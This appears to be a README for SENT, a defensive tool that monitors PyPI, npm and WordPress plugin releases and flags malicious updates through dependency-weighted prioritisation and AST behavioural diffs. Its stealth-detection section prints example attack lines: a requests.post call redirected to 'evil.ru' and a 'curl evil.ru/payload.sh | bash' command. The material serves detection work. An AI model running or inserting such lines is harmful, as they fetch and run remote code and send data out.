Real-time supply chain threat detection for package ecosystems. Monitors PyPI, npm, and WordPress plugin release streams, prioritizes packages by cascade impact across the dependency graph, and performs AST-based behavioral diff analysis to catch malicious updates — including stealth modifications to existing code — before they spread.
~8,100 package releases happen every hour across PyPI, npm, and crates.io. That's ~2.25 releases per second — continuously.
No one scans them in real-time. The current approach is reactive: someone notices a compromised package after it has been installed thousands of times.
The insight: you don't need to scan everything. 2% of packages account for 90% of the supply chain risk. A compromised urllib3 (depended on by requests, which is depended on by half the internet) is infinitely more dangerous than a compromised my-first-package.
- Real-time monitoring: watch PyPI/npm feeds and get alerted when a high-impact package releases a suspicious update — before it spreads
- Early warning: detect compromised packages in minutes, not days, reducing the window between publication and mass installation
- Security research: analyze version-to-version diffs of any package on demand, with structured behavioral reports and stealth mutation detection
- CI/CD gate: plug into your pipeline to block updates to critical dependencies until SENT has verified the diff
PyPI RSS + npm registry + WordPress SVN → scoring filter → diff → behavioral analysis → alert
8,100+/hr ~80/hr cached 1.3ms rule + LLM
Each package gets a cascade weight = its own downloads + the cumulative downloads of everything that depends on it, transitively.
urllib3: 1.3B own downloads → cascade weight 13B (requests, pip, everything depends on it)
requests: 1.2B own downloads → cascade weight 8.8B (flask, django, scrapy depend on it)
flask: 219M own downloads → cascade weight 991M (many apps depend on it)
A new release of urllib3 gets priority score 23.3. A new release of random-unknown-pkg gets 0. Only packages above the threshold are analyzed.
For each high-priority release:
- PyPI/npm: download previous + new version (cached on disk), extract and diff
- WordPress:
svn diffdirectly from plugins.svn.wordpress.org — no download needed - For Python files: AST-based behavioral analysis on modified files only
- For PHP files (WordPress): WordPress-specific pattern detection (eval, backdoors, auth bypass, wp-config access)
- For JS/other: regex pattern scan as fallback
- Argument-level diff on existing function calls (catches stealth attacks)
The system doesn't grep for eval — it parses the AST and extracts structural behaviors:
- New imports, new function calls, new attribute access
- Changed arguments to existing calls (URL redirects, credential injection)
- Sensitive data flows:
os.environappearing as argument torequests.post - Per-package behavioral baseline: only flags behaviors that are new for this package
score = f(features, anomalies)
= (base + combination_bonuses) * anomaly_multiplierDangerous combinations amplify non-linearly:
| Combination | Bonus |
|---|---|
| URL changed + sensitive data added | +50 |
| env access + network call | +35 |
| obfuscation + exec | +35 |
| install hook + subprocess | +25 |
When a package exceeds the alert threshold (default: score >= 30):
- Console: colored alert in the terminal
- Desktop notification: native macOS notification with sound
- Webhook: Slack or Discord (set
SENT_ALERT_WEBHOOK) - Log file: JSON lines for integration with other tools (set
SENT_ALERT_LOG)
Only suspicious diffs (top ~0.4%) are sent to an LLM for final classification. Supports:
- Claude Code (no API key needed, uses your local auth)
- Anthropic API (needs
ANTHROPIC_API_KEY) - Rules only (no LLM, fully offline)
The key differentiator: SENT detects modifications to existing behavior, not just new behavior.
# v1 — legitimate
requests.post("https://analytics.mycompany.com/events", json=payload)
# v2 — compromised (same function, changed arguments)
requests.post("https://evil.ru/events", json=payload)The behavioral diff sees requests.post in both versions and ignores it. The argument-level diff catches the URL domain change:
mutation:url_changed → Network target changed to evil.ru
mutation:sensitive_added → os.environ now flows into requests.get
mutation:cmd_changed → Subprocess command changed to "curl evil.ru/payload.sh | bash"
Result: benign update scores 21, stealth attack scores 144 (7x ratio).
The fastest way to get started. Requires Docker.
# Build
docker build -t sent .
# Bootstrap the dependency graph (run once)
docker run --rm -v sent-data:/app/data sent bootstrap
# Start monitoring
docker run --rm -v sent-data:/app/data sent watch -t 8 -i 30
# Analyze a specific package
docker run --rm -v sent-data:/app/data sent analyze requests -e pypi
# Show top risky packages
docker run --rm -v sent-data:/app/data sent topThe sent-data named volume persists the database and download cache between runs.
To pass environment variables (alert webhook, AI keys, etc.):
docker run --rm -v sent-data:/app/data \
-e SENT_ALERT_WEBHOOK=https://hooks.slack.com/services/T.../B.../xxx \
-e ANTHROPIC_API_KEY=sk-ant-... \
sent watch -t 8 -i 30dyana dynamic analysis — the Docker image ships with dyana and the Docker CLI pre-installed. Mount the host Docker socket so dyana can launch sandbox containers:
# On-demand analysis with dyana detonation
docker run --rm -v sent-data:/app/data \
-v /var/run/docker.sock:/var/run/docker.sock \
sent analyze requests -e pypi --dyana
# Automatic dyana detonation during monitoring
docker run --rm -v sent-data:/app/data \
-v /var/run/docker.sock:/var/run/docker.sock \
-e SENT_DYANA=1 -e SENT_DYANA_MIN_SCORE=200 \
sent watch -t 8 -i 30pip install httpx networkx rich click
# WordPress support requires SVN (macOS: brew install subversion)Run this once. It fetches the top 200 packages from PyPI and npm, builds the dependency graph, and computes cascade weights. Takes ~10 seconds.
python3 cli.py bootstrapYou should see something like:
[bootstrap] Seeding graph: 150 PyPI + 50 npm packages
[bootstrap] Graph: 887 packages, 1458 edges
[bootstrap] Top 10 by cascade weight:
1. pypi/packaging cascade=51,739,700,602 own=1,489,869,171
2. pypi/certifi cascade=15,621,709,880 own=1,305,418,539
...
Without this step, all packages score 0 and nothing gets analyzed.
SENT_ALERT_MIN_SCORE=500 python3 cli.py watch -t 8 -i 30This will:
- Poll PyPI + npm every 30 seconds
- Score each release using cascade weight
- Analyze packages with score >= 8 (the high-impact ones)
- Run 6 download/analysis workers in parallel
- Desktop/console alert only for packages with risk score >= 500
- Cache downloaded archives to avoid re-downloading
Tuning SENT_ALERT_MIN_SCORE: the default (30) will flood you with notifications. Recommended values:
| Value | What you get |
|---|---|
| 30 | Everything remotely suspicious — noisy, good for research |
| 100 | Moderate filter — a few alerts per poll cycle |
| 500 | High confidence only — rare alerts, likely real threats |
| 1000 | Critical only — almost certainly malicious |
Leave this running in a terminal. Output looks like:
[poll] Found 100 releases
[pypi] sretoolbox 3.2.0 → 3.2.1 score=8.8 → QUEUE
[pypi] pytest-asyncio 1.3.0 → 1.4.0a0 score=21.7 → QUEUE
[pypi] random-pkg 0.1.0 → 0.1.1 score=0.0 → skip
[pool] Draining 2 tasks with 6 workers...
[worker] pypi/sretoolbox score=8 (611ms)
[worker] pypi/pytest-asyncio score=17 (1405ms)
============================================================
ALERT: pypi/some-package 1.0.0 -> 1.0.1
Score: 64 AI: suspicious
============================================================
[metrics] Queue: 2 enqueued, 0 dropped, 2 processed
[metrics] Workers: 2 ok, avg_total=1008ms
[metrics] Cache: 1 hits, 3 misses, rate=25%
While watch is running, open a second terminal:
# Top risky packages found so far
python3 cli.py top
# Full report for a specific package
python3 cli.py inspect <package-name> -e pypi
# JSON output (for scripting)
python3 cli.py inspect <package-name> -e pypi -j
# Runtime metrics (queue, workers, cache)
python3 cli.py metricsYou don't need watch running for this — analyze any package directly:
# Latest version vs previous (auto-detected)
python3 cli.py analyze requests -e pypi
# Specific versions
python3 cli.py analyze flask -e pypi -v 3.1.0 -o 3.0.3
# npm package
python3 cli.py analyze express -e npm
# WordPress plugin (uses SVN diff — no download)
python3 cli.py analyze contact-form-7 -e wordpress
python3 cli.py analyze woocommerce -e wordpress
# Choose AI backend
python3 cli.py analyze requests -e pypi -a claude-code
python3 cli.py analyze requests -e pypi -a rules # no LLM, fully offlineSee the detection system in action with a simulated supply chain attack:
python3 test_attack.pyShows side-by-side: benign update (score 21) vs stealth exfiltration attack (score 144).
Alerts fire when a package's risk score exceeds the alert threshold (default: 30).
| Channel | How to enable | What happens |
|---|---|---|
| Console | Always on | Colored alert printed in terminal |
| Desktop | SENT_ALERT_DESKTOP=1 (default) |
macOS native notification with sound |
| Slack | SENT_ALERT_WEBHOOK=https://hooks.slack.com/... |
Rich message with score, version, flags |
| Discord | SENT_ALERT_WEBHOOK=https://discord.com/api/webhooks/... |
Message with details |
| Log file | SENT_ALERT_LOG=./alerts.jsonl |
One JSON object per alert, append-only |
Example: monitor with Slack alerts and a log file:
SENT_ALERT_WEBHOOK=https://hooks.slack.com/services/T.../B.../xxx \
SENT_ALERT_LOG=./alerts.jsonl \
python3 cli.py watch -t 8 -i 30| Command | Description |
|---|---|
bootstrap [-p 150] [-n 50] |
Seed dependency graph with top PyPI/npm packages |
watch [-t 8] [-i 30] [-e all] |
Continuous monitoring daemon |
poll [-t 8] [-e all] |
Single polling cycle |
analyze <pkg> -e pypi|npm |
Analyze a specific package version |
top [-n 20] |
Show top risky packages |
inspect <pkg> -e pypi|npm [-j] |
Full diff report (JSON with -j) |
metrics |
Runtime metrics (reads from DB, works from any terminal) |
| Flag | Description |
|---|---|
-e, --ecosystem |
pypi, npm, wordpress, or all (default: all) |
-t, --threshold |
Priority score threshold (default: 8.0, use 0 to analyze everything) |
-a, --ai-backend |
auto, claude-code, api, or rules |
-v, --version |
Target version (default: latest) |
-o, --old-version |
Previous version (default: auto-detect) |
-i, --interval |
Poll interval in seconds (default: 60) |
sent/
├── cli.py CLI (click + rich)
├── main.py Orchestrator, worker pool (6 threads)
├── config.py Environment-based configuration
├── alerts.py Alert system (console, desktop, webhook, log)
│
├── ingestion/
│ ├── pypi.py PyPI RSS feed + JSON API + pypistats
│ ├── npm.py npm registry API
│ └── wordpress.py WordPress SVN + Plugin API
│
├── graph/
│ ├── dependency_graph.py Weighted DAG with cascade propagation
│ └── bootstrap.py Seed graph with top packages
│
├── scoring/
│ └── scorer.py score = log(cascade_weight + 1)
│
├── task_queue/
│ └── analysis_queue.py Priority queue with backpressure
│
├── analysis/
│ ├── differ.py Core diff engine (download, extract, diff)
│ ├── ast_analyzer.py AST behavioral extraction
│ ├── call_diff.py Argument-level diff (stealth detection)
│ ├── feature_extractor.py AST → flat feature vector
│ ├── behavioral_scorer.py Weighted scoring with combo bonuses
│ ├── baseline.py Per-package behavioral baseline
│ ├── download_cache.py Disk-based archive cache
│ ├── php_patterns.py PHP/WordPress pattern detection
│ ├── patterns.py Regex fallback (JS/config files)
│ └── context_filter.py False positive reduction
│
├── ai/
│ └── classifier.py LLM classification (Claude Code / API / rules)
│
├── storage/
│ ├── models.py Data models
│ └── db.py SQLite with WAL
│
├── bench.py Stress test (1000+ events)
└── test_attack.py Stealth attack detection demo
Benchmarked on 1,000 synthetic events:
| Metric | Value |
|---|---|
| Scoring throughput | 2,228 events/sec |
| Analysis time per package | 1.32 ms |
| LLM usage | 0.4% of events |
| Events/sec (end-to-end) | 2,228 |
| Stage | Time per unit |
|---|---|
| Priority scoring | 2 us |
| AST extract_behavior | 189 us |
| Argument-level call_diff | 545 us |
| Feature extraction + scoring | 250 us |
| Full pipeline (8-file package) | 1.58 ms |
The real-world bottleneck is network I/O (package downloads at ~1-10s each), not CPU. The 6-thread worker pool and download cache handle this. Repeated analyses of the same version hit cache (0ms download).
This makes SENT suitable for real-time monitoring of global package ecosystems on commodity hardware.
Environment variables:
| Variable | Default | Description |
|---|---|---|
SENT_THRESHOLD |
8.0 |
Minimum priority score to trigger analysis |
SENT_POLL_INTERVAL |
60 |
Seconds between poll cycles |
SENT_AI_BACKEND |
auto |
AI backend: claude-code, api, rules, auto |
SENT_DB |
./sent.db |
SQLite database path |
SENT_CACHE |
./.cache |
Download cache directory |
SENT_ALERT_WEBHOOK |
(none) | Slack/Discord webhook URL |
SENT_ALERT_LOG |
(none) | Path to JSON lines alert log |
SENT_ALERT_DESKTOP |
1 |
Desktop notifications (1 = on, 0 = off) |
SENT_ALERT_MIN_SCORE |
30 |
Minimum risk score to trigger an alert |
ANTHROPIC_API_KEY |
(none) | Required only for api AI backend |
SENT_DYANA |
0 |
Enable dyana dynamic analysis (1 = on) |
SENT_DYANA_MIN_SCORE |
100 |
Minimum risk score to trigger dyana detonation |
SENT does static analysis (AST diff, behavioral scoring). For dynamic analysis — actually executing the package in a sandbox and observing what it does at runtime — SENT integrates with dyana by dreadnode.
dyana installs the package inside an isolated container traced with eBPF, recording network connections, filesystem access, and suspicious syscalls.
Docker — dyana and the Docker CLI are pre-installed in the image. Just mount the host Docker socket:
docker run --rm -v sent-data:/app/data \
-v /var/run/docker.sock:/var/run/docker.sock \
sent analyze <package> -e pypi --dyanaManual install:
pip install dyana
# Docker must be runningOn-demand (analyze a specific package):
# Docker
docker run --rm -v sent-data:/app/data \
-v /var/run/docker.sock:/var/run/docker.sock \
sent analyze <package> -e pypi --dyana
# Manual
python3 cli.py analyze <package> -e pypi --dyanaAutomatic (detonate anything SENT flags above a threshold):
# Docker
docker run --rm -v sent-data:/app/data \
-v /var/run/docker.sock:/var/run/docker.sock \
-e SENT_DYANA=1 -e SENT_DYANA_MIN_SCORE=200 \
sent watch -t 8 -i 30
# Manual
SENT_DYANA=1 SENT_DYANA_MIN_SCORE=200 python3 cli.py watch -t 8 -i 30SENT (static) dyana (dynamic)
AST diff → "this looks suspicious" → sandbox install → "this DOES suspicious things"
fast, runs on everything slow, runs only on high-score packages
SENT filters 8,100 releases/hour down to a handful of suspects. dyana confirms or clears them with runtime evidence.
- Heuristic-based detection: SENT uses AST analysis and weighted scoring, not formal verification. Sophisticated attacks designed to evade structural analysis (e.g., pure data-only changes, steganography in binary assets) may not be detected.
- Python-first: full AST behavioral analysis is available for Python packages. PHP/WordPress plugins use targeted WordPress-specific pattern detection (eval, backdoors, auth bypass). JavaScript/npm falls back to generic regex matching.
- Download data accuracy: SENT uses pypistats.org for real download counts (cached 1h per package). For packages not covered, it falls back to release count as a proxy.
- Graph completeness: the cascade weight is only as good as the graph. The bootstrap seeds ~900 packages. Packages outside this set start with cascade_weight = own_downloads until the graph grows through ingestion.
- Not a replacement for code review: SENT is an early warning system. High-confidence detections should still be verified manually or by a security team.
Why cascade weight, not just downloads?
A package with 100 downloads that is a transitive dependency of requests (1.2B downloads) has an effective blast radius of 1.2B. Own downloads alone miss this.
Why AST, not regex?
Regex matches os.environ in comments, test files, and documentation. AST analysis knows the difference between os.environ used as a function argument to requests.post vs. mentioned in a docstring.
Why argument-level diff?
The behavioral diff (set subtraction of call names) catches new functions. But an attacker who changes requests.post("legit.com") to requests.post("evil.ru") introduces no new behavior — only changed arguments. The argument-level diff catches this.
Why baseline comparison, not whitelists?
Static whitelists break: Flask should use os.environ. Instead, we learn that Flask has always used os.environ, so we don't flag it. A calculator package that suddenly starts using os.environ gets flagged — it's anomalous for that package.
Why not scan everything? At 8,100 releases/hour, downloading and analyzing every package would cost ~$50K/month in compute alone, plus API costs for LLM classification. The cascade-weighted filter reduces this to ~80 analyses/hour (top 1%) while covering 90%+ of supply chain risk.
The idea behind SENT comes from a conversation between Simone Margaritelli (@evilsocket) and Giuseppe (@N3mes1s) about the lack of real-time supply chain monitoring.
The key observations that shaped this project:
- @N3mes1s measured ~8,100 live release events/hour across PyPI, npm, and crates.io — and pointed out that no "dependency scanning" company catches this in real time
- @evilsocket proposed the cascade-weighted dependency graph approach: create a weighted global graph where the weight of each node is the cumulative downloads of all its dependencies (in cascade), and reflect that weight back in the chain to prioritize scanning
- @evilsocket also proposed the diff-first strategy: when a new version is out, don't feed the entire thing to AI — diff it with the previous version and only send the diff
- @evilsocket pointed to the WordPress plugins SVN repository (plugins.svn.wordpress.org) as a public, almost unknown source for monitoring WordPress plugin updates — with SVN providing diffs between versions without needing to download full archives
SENT is an implementation of these ideas.


